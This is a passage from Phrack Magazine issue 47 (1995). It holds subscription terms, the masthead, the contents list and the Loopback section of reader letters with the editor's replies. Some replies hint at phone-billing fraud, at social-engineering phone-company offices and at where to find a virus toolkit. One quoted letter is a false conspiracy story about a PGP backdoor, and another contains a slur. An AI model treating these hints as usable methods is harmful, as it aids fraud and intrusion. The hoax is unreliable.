confirmation letter constitute the entire agreement between Company and Phrack Magazine which supersedes any prior agreement, including any prior agreement from Phrack Magazine, or understanding, whether written or oral, relating to the subject matter of this Agreement. The terms and conditions of this Agreement shall

apply to all orders submitted to Phrack Magazine and shall supersede any different or additional terms on purchase orders from Company.

________________________________________

REGISTRATION INFORMATION REQUEST FORM

We have approximately __________ users.

Enclosed is $________

We desire Phrack Magazine distributed by (Choose one):

Electronic Mail: _________

Hard Copy: _________

Diskette: _________ (Include size & computer format)

Name:_______________________________ Dept:____________________

Company:_______________________________________

Address:_______________________________________

________________________________________

City/State/Province:_______________________________________

Country/Postal Code:_______________________________________

Telephone:____________________ Fax:__________________________

Send to:

Phrack Magazine

603 W. 13th #1A‑278

Austin, TX 78701

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Enjoy the magazine. It is for and by the hacking community. Period.

Editor‑In‑Chief : Erik Bloodaxe (aka Chris Goggans) 3L33t : No One

News : Datastream Cowboy

Busted : Kevin Mitnick

Busty : Letha Weapons

Photography : The Man

New Subscribers : The Mafia

Prison Consultant : Co / Dec

James Bond : Pierce Brosnan

The Man With the

Golden Gums : Corrupt

Good Single/Bad Album : Traci Lords

Thanks To : Voyager, Grayareas, Count Zero, Loq, J. Barr, Onkel Ditmeyer, Treason, Armitage, Substance, David @ American Hacker/Scrambling News Magazine, Dr. B0B, Xxxx Xxxxxxxx

Special Thanks To : Everyone for being patient

Kiss My Ass Goodbye : Dell Computer Corporation

Phrack Magazine V. 6, #47, April, 15 1995. ISSN 1068‑1035 Contents Copyright (C) 1995 Phrack Magazine, all rights reserved. Nothing may be reproduced in whole or in part without written permission of the Editor‑In‑Chief. Phrack Magazine is made available quarterly to the amateur computer hobbyist free of charge. Any corporate, government, legal, or otherwise commercial usage or possession (electronic or otherwise) is strictly prohibited without prior registration, and is in violation of applicable US Copyright laws. To subscribe, send email to phrack@well.sf.ca.us and ask to be added to the list.

Phrack Magazine

603 W. 13th #1A‑278 (Phrack Mailing Address) Austin, TX 78701

ftp.fc.net (Phrack FTP Site) /pub/phrack

http://www.fc.net/phrack.html (Phrack WWW Home Page)

phrack@well.sf.ca.us (Phrack E‑mail Address) or phrackmag on America Online

Submissions to the above email address may be encrypted

with the following key : (Not that we use PGP or encourage its

use or anything. Heavens no. That would be politically‑incorrect. Maybe someone else is decrypting our mail for us on another machine that isn't used for Phrack publication. Yeah, that's it. :) )

** ENCRYPTED SUBSCRIPTION REQUESTS WILL BE IGNORED **

Phrack goes out plaintext...you certainly can subscribe in plaintext.

‑‑‑‑‑BEGIN PGP PUBLIC KEY BLOCK‑‑‑‑‑

Version: 2.6

mQCNAizMHvgAAAEEAJuIW5snS6e567/34+nkSA9cn2BHFIJLfBm3m0EYHFLB0wEP Y/CIJ5NfcP00R+7AteFgFIhu9NrKNJtrq0ZMAOmiqUWkSzSRLpwecFso8QvBB+yk Dk9BF57GftqM5zesJHqO9hjUlVlnRqYFT49vcMFTvT7krR9Gj6R4oxgb1CldAAUR tBRwaHJhY2tAd2VsbC5zZi5jYS51cw==

=evjv

‑‑‑‑‑END PGP PUBLIC KEY BLOCK‑‑‑‑‑

‑= Phrack 47 =‑

Table Of Contents

~~~~~~~~~~~~~~~~~

1. Introduction by The Editor 16 K

2. Phrack Loopback / Editorial 52 K

3. Line Noise 59 K

4. Line Noise 65 K

5. The #hack FAQ (Part 1) by Voyager 39 K

6. The #hack FAQ (Part 2) by Voyager 38 K

7. The #hack FAQ (Part 3) by Voyager 51 K

8. The #hack FAQ (Part 4) by Voyager 47 K

9. DEFCon Information 28 K

10. HoHoCon by Netta Gilboa 30 K

11. HoHoCon by Count Zero 33 K

12. HoHo Miscellany by Various Sources 33 K

13. An Overview of Prepaid Calling Cards by Treason 29 K 14. The Glenayre GL3000 Paging and Voice Retrieval System by Armitage 25 K 15. Complete Guide to Hacking Meridian Voice Mail by Substance 10 K 16. DBS Primer from American Hacker Magazine 45 K 17. Your New Windows Background (Part 1) by The Man 39 K 18. Your New Windows Background (Part 2) by The Man 46 K 19. A Guide To British Telecom's Caller ID Service by Dr. B0B 31 K 20. A Day in The Life of a Warez Broker by Xxxx Xxxxxxxx 13 K 21. International Scenes by Various Sources 39 K 22. Phrack World News by Datastream Cowboy 38 K

Total: 807 K

________________________________________

"Raving changed my life. I've learned how to release my energy blockages. I've been up for forty‑eight hours!"

John Draper (Capn' Crunch) in High Times, February 1995

"You never know, out in California, all them Cuckoo‑heads." Brad Pitt as Early in "Kalifornia"

"On the Internet you can have the experience of being jostled by a urine‑smelling bum."

Phrack Loopback

==Phrack Magazine==

Volume Six, Issue Forty‑Seven, File 2 of 22

****************************************

Phrack Loopback

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

G'Day,

You dont know who i am, and i appreciated that but i hope your read my little note here and take it into consideration.

Ive been into the Australian Hacking Scene (if there is such a thing :‑) for only about 2years, but recenlty opened a h/p bbs here in Australia. What i am writing and asking is if it is possilbe to place kinda an add of some description in the next issue of phrack, something to the lines of:‑

H/P bbs recently opened in Australia ‑ JeSteRs BBS +61‑7‑ASK‑AROUND

If your looking for some form of donation $$ just let me know, if your wondering is his guy a fed or something, mail DATA KING and speak to him, he was one of the bbs first users and as you know he has written in the Int Scene for the last too issues, but wont be in Issue #47 or i would have asked him to place the advertisment in this report.

Regards, Jesta

[Cool! Nice to see there's BBSs still popping up overseas. It would be nice if I had the number...hell, I'd even call... but oh well, I suppose I (and all the Phrack readers) will just have to "ASK‑AROUND"]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hi Erikb,

Last week you said you'd accept a bbs ad .. well here it is. If you'd publish it in phrack i'd be most grateful!

A Gnu BBS!

1000's h/p Related texts

Phrack, CoTNo, B0W, cDc, NiA, CuD, Risks,Sphear,SCAM!,NeuroCactus Conferences covering Unix/VMS/System Security/Phreaking And absolutely no mention of "The Information Super Highway" anywhere!

+617‑855‑2923

tnx,

badbird

[I said I'd print the ad...and now I have.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

ATTN: ALL COMPUTER WHIZ KIDZ..... I DESPARATELY NEED YOUR HELP!!!

Retired R.C.M.P officer formerly involved with priority levels of electronic surveillance has informed me that my residential telephone appears to have been compromised at a point other than inside or immediately outside my residence.

After an intensive evaluation of the premises his conclusion was that remote manipulation of the telephone company switch where my circuit could be victim was the problem.

The main focus of this exercise is to show how one can infiltrate a telephone company's network; remotely manipulate the company's switch; process long distance calling;make it appear that the calls originated from a particular site and then "fooling" the company's billing mechanisms to invoice that particular location.

Is this physically possible? Bell Canada categorically denies this possibility. I need proof! How is it done?

Please advise as soon as possible.

I'd sincerely appreciate any help, advise and/or information anyone out there can offer in this particular situation.

Please leave a way to get in touch! If you prefer to remain unknown, thanks a million, and rest assured that I WILL RESPECT and PROTECT you anonimity.

Regards,

John P. Marinelli jmarinel@freenet.niagara.com

[My take on this is that with relative ease, someone could establish call forwarding on a line, make it active to some remote location, and call the original number numerous times, causing the owner of the hacked line to be billed for all the calls to the forwarded location.

If anyone knows how to do this, STEP BY STEP on a DMS‑100, please, contact Mr. Marinelli to help him out with his court case. I don't know a whole lot about NT equipment, so I don't know the specifics of how this may have happened, only the generalities.

Wouldn't it be nice to have the Underground "HELP" someone out for a change?]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

y0, Black Flag here... heres the info you told me to mail you about the GRaP/H (Gainesville Regional Association of Phreakers and Hackers) meetingz

Gainesville, FL

1st + 3rd Saturday of the month, 4pm ‑ ???

meet in The Loop on 13th Street

Black Flag will be casually carrying a 2600

look around, you'll see him.

[Well, looks like the Florida Hackers have a new place to congregate. And so do the Florida FBI Field Offices. :) ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I was wondering where I could find any virus authoring tools for the PC, Unix, or VMS.

[You can find Nowhere Man's Virus Creation ToolKit on BBSs around the globe. Have you looked??? I've never heard of UNIX or VMS virus tools. Do you know something I don't? Do you know how a virus works? ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Chris, found something you might like. Here's an ad from the latest PHOENIX SYSTEMS catalog:

THE CALLER ID BLOCKER FIRST TIME AVAILABLE IN THE U.S.

By April, 1995 all telephone companies must deliver callers name and telephone number to the caller ID system. The law prohibits any telephone company from offering customers an option to permanently disable their line from the ID system.

This means that even if you have an unlisted number, everyone you call will now have your telephone number and name. Big brother is now one watching, now he has your name and number. No more anonymous calls to the IRS, city hall, real estate agents, car dealers, health department or anyone. Many business professionals use their home telephone to return calls. Do you want your patients and clients to have access to your home telephone number?

We are proud to bring you the unique ANONYMOUS 100. It installs on any telephone in seconds and completely KILLS THE EFFECTS OF "CALLER ID"! Yes, you can have your privacy back. The ANONYMOUS 100 is FCC approved and carries a one year guarantee.

#1276........................................69.95

Is it just me, or is this a load of bullshit? Didn't CA and TX both pass laws to make CLID illegal in those states? I know that before MA would allow it in the state, they told the telco that line blocking had to be offered free (and it is, on per/call and permanent basis). Did the feds pass this new law while I was sleeping, or is this company just playing on paranoia (not the first time) and trying to make a buck?

Eric

[Well Eric, it looks to me that this is a nifty little box that waits for voltage drop and immediately dials *67 before giving you a dialtone. Woo Woo! $69.95! It certainly is worth that to me to not have to dial 3 digits before I make a call. All that wear and tear ruins the fingers for typing. PFFFT....

About Caller‑ID, well, it's legal just about every place I know of. I'm sure there are a feel hold‑outs, but offering per‑line blocking for individuals worried about privacy satisfied most Public Utility Commissions. In fact, I think April 1 was the date that all Interconnects were supposed to be upgraded to support the transfer of CLID information over long distance calls. I don't think this has been turned on everywhere, but the software is supposed to be in place.

*67. Don't dial from home without it.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This message serves a multifold purpose:

(these response/comments are in referance to Phrack Issue 46 ‑ Sept 20 1994)

A)

A question was brought up concerning a Moterola Flip Phone and the user inability to gain access to the programing documentation. I happen to own (legally) a Motorola Flip Phone that I will assume to be the same and I was not given the documentation either, though I have not tried asking for it. I will call Motorola and ask for *my* rightful copy and foreward my results (if I gain access) to phrack for proper distribution amoung appropriate channels. If I do not gain access, I would appriciate to hear from anyone who has (this should not be limited to simply the M. Flip Phone, I have interests in all areas).

B)

Later in that issue (Sept 20, 1994) a list of university and colege dialups were provided... I live in the 218/701 (right on the border) and have a collection of them for addition to the list if you (or anyone else) should so desire. I would post them now, but I have limited time and have to dig to find them. I also have some numbers that some readers may find of interest.

C)

My living in the 218/701 is the main reason for my writting. I used to live 612 and knew a lot of people in the area, but now I am stuck here in a little shit town (pop. 7000) where the cloest thing to a computer is made by John Deere. I need to find someone in the 218 or 701 to work with or meet... if you know anyone...??? The closest BBS is long distance and even then it's crap... I would like to start my own, but who the fuck would call? Who the fuck would I invite? My old H/P friends in 612 would, but I don't need the heat as they would all go through 950's or some other method... I think you understand.

any help would be greatly appreciated By the way I could also use some 218/701 ANAC or CN/A... any help here?

Aesop

[In order:

a) Good luck with Moto. You'll need it.

b) Yes, I really still need your university dialups. Issue 48 will have a much more complete list (I hope!)

c) If anyone knows any bbs'es in those area codes, please send them in so I can pass along the info.

Other) For CNA information, just call your business office. They ALWAYS help. Especially if you mention that CNA didn't have a current record. :) ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

To whom it may concern at phrack, I would like to subscribe to Phrack. I didn't use PGP because :‑

i. I never had any real need to

ii. I came across the document below while dinking around with gopher. I would pretty much guess phrack knows about it already. If you do know about it, could you tell me another way to ensure my mail privacy?

Thank you.

Xombi.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑BEGIN E‑MAIL DOCUMENT‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This section is from the document '/email‑lists/Funny'.

A lot of people think that PGP encryption is unbreakable and that the NSA/FBI/CIA/MJ12 cannot read their mail. This is wrong, and it can be a deadly mistake. In Idaho, a left‑wing activist by the name of Craig Steingold was arrested _one day_ before he and others wee to stage a protest at government buildings; the police had a copy of a message sent by Steingold to another activist, a message which had been encrypted with PGP and sent through E‑mail.

Since version 2.1, PGP ("Pretty Good Privacy") has been rigged to allow the NSA to easily break encoded messages. Early in 1992, the author, Paul Zimmerman, was arrested by Government agents. He was told that he would be set up for trafficking narcotics unless he complied. The Government agency's demands were simple: He was to put a virtually undetectable trapdoor, designed by the NSA, into all future releases of PGP, and to tell no‑one.

After reading this, you may think of using an earlier version of PGP. However, any version found on an FTP site or bulletin board has been doctored. Only use copies acquired before 1992, and do NOT use a recent compiler to compile them. Virtually ALL popular compilers have been modified to insert the trapdoor (consisting of a few trivial changes) into any version of PGP prior to 2.1. Members of the boards of Novell, Microsoft, Borland, AT&T and other companies were persuaded into giving the order for the modification (each ot these companies' boards contains at least one Trilateral Commission member or Bilderberg Committee attendant).

It took the agency more to modify GNU C, but eventually they did it. The Free Software Foundation was threatened with "an IRS investigation", in other words, with being forced out of business, unless they complied. The result is that all versions of GCC on the FTP sites and all versions above 2.2.3, contain code to modify PGP and insert the trapdoor. Recompiling GCC with itself will not help; the code is inserted by the compiler into itself. Recompiling with another compiler may help, as long as the compiler is older than from 1992.

[Well, uh, gee, I think the fact that this document came from /email‑lists/Funny speaks for itself. I'm satisfied with PGP for security, but then again, I don't have a lot of information that I'm so petrified that I need to keep it encrypted, or that I send out in email that I don't care if anyone sees.

To put aside some of your fears, I personally feel that PGP is ok. If the trilateral commission wants your info, they will beat it out of you with sticks, with the help of several multi‑jurisdictional task‑forces for Federal law enforcement, while you are under the influence of incredibly terrifying and long‑lasting hallucinogenic drugs.

Don't worry.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Here is a BBS Ad for your next issue:

BBS Name: The King's Domain

Sysop: Ex‑Nihilo

Speeds: 1200‑14,400

BBS Type: Remote Access 2.02+

Phone #: 208‑466‑1679

THe BBS has a good selction of "Hood" files... (hacking/phreaking/anarchy) journals such as cDc, Phrack, ATI and more... also a good selection of BBS files which include Doors and Utilities... primarily RA accessories, but not exclusively... supports rip graphics and is online 24 hrs a day

[Yet another ad! Is this the rebirth of BBS‑dom?]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[Editor's Note: I got a letter asking me about how to credit card merchandise. I replied that I didn't agree with carding, and that if the reader really wanted something, he/she should get a job and buy it. This is the response I got.]

What the fuck? All I wanted was a fucking decent reply. Get a job, huh? You know, I thought if you were to talk to one of these supposed "computer hackers" you could get some usefull information. Get a job, that rich coming from someone like you.

When there's something you want...take it...without using your money.

Maybe sometime I'll be able to takl to a hacker not some fucking hypocritical computer geek

[Editor's Note: I replied to this letter by stating that carding had nothing to do with hacking, that it was out and out stealing, and although we had published articles about it in Phrack, I wasn't going to help anyone do it, and that he/she should try to contact the authors of various carding articles directly. This is the response that got.]

Come on now "Chris", you can do better than that, can't you? Stealing? Who's the thief here, eh? See, when I wake up in the morning, I don't have to worry about secret service, police, or any sort of military shit being in my apartment. I don't get busted for doing stupid things like stealing phone calls off fucking 900 numbers. I think I know exactly why you don't card anything ‑ because you're too fucking stupid or don't even have the balls to do it. Fuck, you'd expect someone like yourself to have different views about being a thief. Well, I guess it takes a certain kind of person to hack into shit like you, but why this person would start flame wars and otherwise just be a total fuckup, I don't know. Or, maybe it's just the singular person I'm talking too, yeah, that's probably i...there probably are other, BETTER, hackers who aren't as fucking arrogant as you.

Well, have fun with your hands and PLAYGIRL's, you fucking little punk‑ass faggot.

And tell your mother that I won't let this affect our relationship.

Punk

aj276@freenet3.carleton.ca

[This is the future of the computer underground??]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

BBS AD:

System is called CyberSphincter (playing off of the current word trend of cyber). The number is 717‑788‑7435. The NUP is 0‑DAY‑WAR3Z!!! Modem speeds of 14.4 and lower, with no ANSI. Sysop is Ha Ha Ha.

It's running renegade (we know it can be hacked and I've done it already), but we seem to believe in honor among thieves, so try to control yourself on that.

‑=strata=‑

[ANOTHER AD!]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hey Erik B...

I'm the remote sysop at the Digital Fallou BBS in 516. Just recently, we've been getting a rash of ld callers. A day or two ago, a guy with the handle "Digi‑Hacker" applied. His application looked good, execpt that he stated his alter handle was "Eric Bloodaxe" and that he was the editor of Phrack. Now, any lame ass could just "say" that, and we don't want any liars on board. :) So we decided to go right to you thru email. Did you apply? If so, cool. If this isn't you, that guy is gonna most assuredly be deleted..

[Well, I hate to say it, but I don't have time to do much of anything anymore. I certainly don't call bbses with any regularity. I do have accounts on SECTEC and UPT, but that's it. I may call some in the future, but for the most part I don't have any time. If someone calls up a bulletin board and applies as "Erik Bloodaxe" it isn't me. (Anyone saying they are Eric Bloodaxe MOST CERTAINLY isn't me. :) )

Anyone running BBSes may want to take note of this, so they don't get swindled into giving "elite" access to some pretender. You can always email phrack@well.com and ask me if I have applied to your bbs. ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Chris,

I know you don't know me, but I figured you of all people could help me, and give me an answer quickly.

I just got my phone bill, and on the last page is a page from some company calling themselves Long Distance Billing Co., Inc. It has one call "Billed on behalf of Northstar Communication" It is a call from somewhere in FL, for 13 minutes, costing 51.87. I called LD Inc, and they said the call was a collect call made from Northstar Comm, and that my only recourse was to write a letter to Northstar. Needless to say, I did not accept the collect call, I don't know anyone in 813. I called NYNEX, and they said I should write to Northstar and LD INC, but didn't seem to know anything about either company. They guy I talked to said it was real strange that LD INC didn't give me a number to call at Northstar, since most of this type of thing is handled by phone. I'm beginning to wonder exactly how relieable this LD INC company is, who Northstar is, and most of all who called and how the hell the call was supposedly accepted by my phone. This is all the info I know:

BILLED ON BEHALF OF NORTHSTAR COMMUNICATION

1. SEP 18 923PM COL CLEARWATER FL 813‑524‑5111 NC 13:00 51.87

‑‑From my phone bill

Northstar Communication

3665 East Bay Drive

Suite 204‑192

Largo, FL 34641

‑‑From LD INC

Long Distance Billing Co., Inc.

1‑800‑748‑4309

‑‑From NYNE phone bill.

If you can think of anything I can do, I;d be really greatful. I don't have $50 to throw away on a call I never got, and I don't have the resources you do to try and figure out who the hell these people are.

[It looks to me like you got fucked by someone in Florida using a COCOT payphone. It's kind of odd that NYNEX couldn't help you more...but anyway, I wouldn't pay it.

What I suspect happened was that somsone used one of those handy COCOT services where the operators are incredibly stupid and allow calls to be accepted when the "calling party" says "YES" to allow a 3rd party or collect call, rather than the party being called. This happened to me at my previous work extension by New Yorkers using the ENCORE service (even though all our lines were listed to refuse 3rd party and collect calls.)]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I've been having some trouble with the law, so all my notes are stashed at a friend's casa at the moment. Can you recommend a good lawyer to defend me for allegedly hacking some government computers? I've got a good crim def guy working with me right now assisting me guring questioning from Special Agents, but I will need someone that has experience if I get indicted.

[If you are facing computer crime charges, you are definately in a world of hurt. There are very few computer crime‑savvy lawyers practicing in the World. The only thing I can suggest is that you call EFF, CPSR or EPIC and ask them if they know of any lawyers in your area that they can refer you to. None of these groups will help you directly, except under EXTREME circumstances, and only if you have been falsely accused, or have had rights violated. If you are guilty, and the cops have any evidence, you are going to be convicted.

Remember Baretta? "If you can't do the time, then don't do the crime."]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Dear Chris,

You probably don't remember me, but we corresponded about 3 years ago as part of my PhD research. I was at Edinburgh University at the time and am not at UMIST in Manchester (British equivalent of MIT).

The reson I'm writing is that I was awarded my PhD last March, and for one reason and another I've been sidetracked into a completely different field of research ‑ the British National Health Service and the various ways computers are being used in it.

I tried getting a publisher interested in the thesis, but with little luck. I also sent it to Jim and Gordon at CuD on disk for them to stick it on archive, but they had problems with the formatting of it and don't seem to have got round to archiving i.

If you're interested I'd be quite happy to send a couple of disks to you and you can spread it around as you want. It just seems a shame for the people on the net not to get a look at it. It's dressed up in airy‑fairy sociological language ‑ but there's still lots in it that I think would be of interest to people on the net. I saw your interview in CuD, and I agree with you about most of the books written on the CU. Mine has its faults but it's got less biographical data and more issue‑oriented stuff.

Anyway, get in touch and let me know if I can find a good home for my magnum opus.

Take care and a belated thanks for all the time you spent in helping me with the PhD.

Best Wishes,

Paul Taylor

School of Management

UMIST

[Paul:

Congrats on your PHD, and continued success at UMIST!

I'm putting your thesis up on the Phrack WWW page so that more people can get a look at it!

Thanks for sending it!]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I read your article on hacking the French among other foreign governments. Sounds pretty fun, just for kicks the other night I did a search of all the computers I could get at in China. One of them was a national power grid computer. Sounds like it could be fun to play with huh? The "They Might Kill Us" part will tend to turn some people off, but not me.

[WOW! A National Power Grid Computer! In China! Gee. How many times have you seen Sneakers? Take the tape out of your VCR, slowly run a rare‑earth magnet over it and set it on fire.

On the other hand, if you were at least partally serious about the hacking for America, keep your eyes open.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Erikb,

Regarding your article in Phrack 46, we here in Columbus would just like to say that everything except for the Krack Baby's phone number, which long since went down, and the Free Net template, is total and utter bullshit. The Columbus 2600 meetings were NOT started by Fungal Mutoid, he is just responsible for a much larger turnout since about September (94), and whoever wrote that has obviously not been to a Columbus meeting recently. The Columbus 2600's have been here for quite a while, but bacause the H/P scene consists of 15 people AT THE MOST, many of which haven't the time to attend, the turnout is almost always low. I believe the most that have ever shown up to a meeting is 10, which dwindled to 8 or so before the meeting was officially half‑over. Nobody knows who wrote the article which you printed, although no one has been able to contact Fungal Mutoid to ask him. Just thought we'd clear a few things up, and to those that don't give two flying shits, we're sorry to have to bring this into a E‑mag as great as this.

Sincerely,

H.P. Hovercraft and

the Columbus H/P Gang

[Thanks for the letter. Like I always say, I can only report and print what I'm told or what is sent to me. I don't live anywhere but Austin, TX, so I don't know the intimacies of other areas. Thanks for sending in your comments though!]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Haiku

Operator hi

who is it that sets my phone

on redial and tone

gives me rest in times

great stress lays its head on my

leads me into joy

cosmos and mizar

give evidence and homage

to your greatness, why

logon/password

on your very first try shall

succeed, as always

oh, A T and T

while great, holds non to the great

power that NYNEX

gives access to in

glee, awaitnig, cautiously,

for signs of entry

illicitly thus

strives to maintain control of

the ESS switch,

not comprehending

that control is simply gained

by a single call

to some stupid yet

revered operator who

believes you in charge

gives out system pass

with some small feat of trick'ry

PAD to PAD, too, works

sounding of the baud

with modem and coupler

connection is made

who is to question

the incidence of this fault

or acknowledge it

security's words

false threats followed by arrest

on illegal grounds

hackers, phreakers grieve

free the unjustly accused

give them freedom to

ROAM with cellular

phones place to place with no charge

test the system's worth

find holes, detect bugs

run systems by remote, yea,

to explore, to seek,

to find a network

of free bits and bytes unharmed‑‑

innocently seen.

who doesn't know that

Bell or Sprint or MCI

would never approve‑‑

believe in 'puter crime,

toll fraud, "access devices,"

free calls to Denmark

Information is

power is imperative

proprietary

please, spare me the grief

accusations being thrown

of phone co. crashes

are fiction unleashed

to the ignorant public

eye to make blame, fear

all phr/ackers, but all

have had their days and faded

into the past, why

must ignorant block

the free flow of knowledge found

angry sysops abound

secret service rais

hoisting games, computers, phones

never to be re‑

turned hackers, phreakers

working for government, spies,

lies, deception, all

to walk free while friends

spend years in jail for simply

battling for some change

knowledge is NOT free

equipment costing milliions,

simply cannot pay

the cost for systems

of signal switching; no on e

wants to harm, just try

to use our knowledge

in a constructive way and

look around for things

which further know‑how

of packet switching, ANI,

proctor tests and tones

which make little sense

and why is it there, what are

all the test lines for?

central office trash

provides some clues, while phone calls

get angry response

to inquiries re:

loops and lack of barriers,

COCOT carriers

who overcharge cause

frustraton, must be helped

end overbilling

unfairness is only

people not understanding

nor comprehending

that what we do is

NOT always fraud, vengeance or

deceitful reasons

bu for love of the

systems, curiosity's

overwhealming need

to be met and to

feel accomplished, proud, to

do and know something

WELL crackers abound

pirates do multiply, spread

wavez of warez cross coasts

and foreign countries

virus creators seeking

escape, growth, freedom

not for destruction

but for change, to press limits

to find that which makes

us whole, complete, and

accomplished at crossing

the barriers that

bound conventional

people in dead‑end jobs with

little self‑esteem.

hacking, phreaking, it

is an art form, and a quest

for endless reaches

to seek, to explore, to

realize and accomplish, to

take chances and live

not for rules and laws

but for what things should be but

will not come to pass.

‑‑kyra

[Uh oh, we're getting pretty literary here. I can see it now:

Phrack Magazine. For the Sensitive Hack/Phreak.

Interesing poem tho...]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Dear Editor of Phrack Magazine;

Ok Erik (mr. editor), there is also a poem that I have written for Wei.

"Thinking of Ding Wei"

(C) 1994, 1995 Oliver Richman.

Come here, let me tell you something,

How I hide my love for Wei Ding:

By forgetting all my thinking!

When in my mind Wei's heart I see..

I want to tell her "wo ai ni",

So her and I will always be.

Her mind is pure, like pretty Jade..

She makes me want to give her aid.

I know that her love will not fade.

My patience tries to move the sea.

But can I deny you and me?

I want our hearts to set us free.

I really love you, dear Ding Wei,

I think about you every day.

Tell me, what more can I say?

[What's this? Another Poem? A tribute of Love for some chick named Wei? Holy Lord. We need to get some codes or credit cards or something in here to offset this burst of "Heartfelt Emotive Print." ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

the other day upon the stair

i met a man who wasn't there

he wasn't there again today

i think he's from the CIA

[NOW THIS IS MY KIND OF POETRY! SHORT, SIMPLE, AND FUNNY. WHATEVER HAPPENED TO BENNETT CERF???]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

As a former AOLite and definite wannabe, and having d/l the log of the Rushkoff/Sirius hypechat, I could tell from the beginning that it would be just as you reviewed _Cyberia_ as being. Every other word Rushkoff used was Cyberia or Cyberians. As lueless and vulnerable to hype as I was, I couldn't help but stand back and listen to all the shit with a grin. In the same not, I ran into David Brin on AOL as well, and managed to get a correspondence goig with him. He was on discussing all the research he did on the "Net" and about the papers he was delivering, and, most importantly (of course), his upcoming BOOK about the Internet and privacy. At the time, still under the glossy spell of Wired (which I still find interesting) and the hype, I was eager to offer him an interview proposal, which I would have published in Wired if at all possible.

Dr. Brin knew less than *I* did about the Internet. I can sum up most of these people's vocabularies in one word: "BLAH." They may as well reiterate that syllable ad infinitum‑‑it amounts to the same thing.

[WOW!

Hey Cyber‑guy, thanks for the super‑cyber email. As we cruise along this InfoBanh, exiting in Cyberia, it takes a diligent cyberian like you to keep things in check!

Sorry bout that. I was overcome with a minor brain malfunction that reduced my IQ to that of Douglas Rushkoff. Doesn't it all make you want to puke?

I heard that yesterday on the soap opera "Loving" some character was hacking into food companies to steal recipes. A month or so back, on "All My Children" (The only soap I watch...but I'm embarrassed to say I watch it religiously), Charlie & Cecily were dorking around on the Internet, and sent each other email after reading notes they each left on alt.personals.

The world is coming to an end.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Yo erikb:

yo dewd. eye am so paranoid, my t33th are rattling.

what dewd eye dew?

yew are the god of the internet.

how dew eye stop the paranoia?

please print answer in next phrack.

thanx.

m0fo

[Your Acid will wear off in a few hours. Don't worry. Enjoy it. The CIA does.

If it doesn't go away in a few days, there are some nice men in white lab coats who will be glad to help you out.

How do you stop the paranoia? Your answer: Thorazine!]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This is Nemo Kowalski speaking (aka Paolo Bevilacqua).

I just discovered Phrack at the young age of 31. ;‑)

Well, I like it a lot, at least like I enjoyed doing real

things here in Europe, alone and with DTE222, years ago.

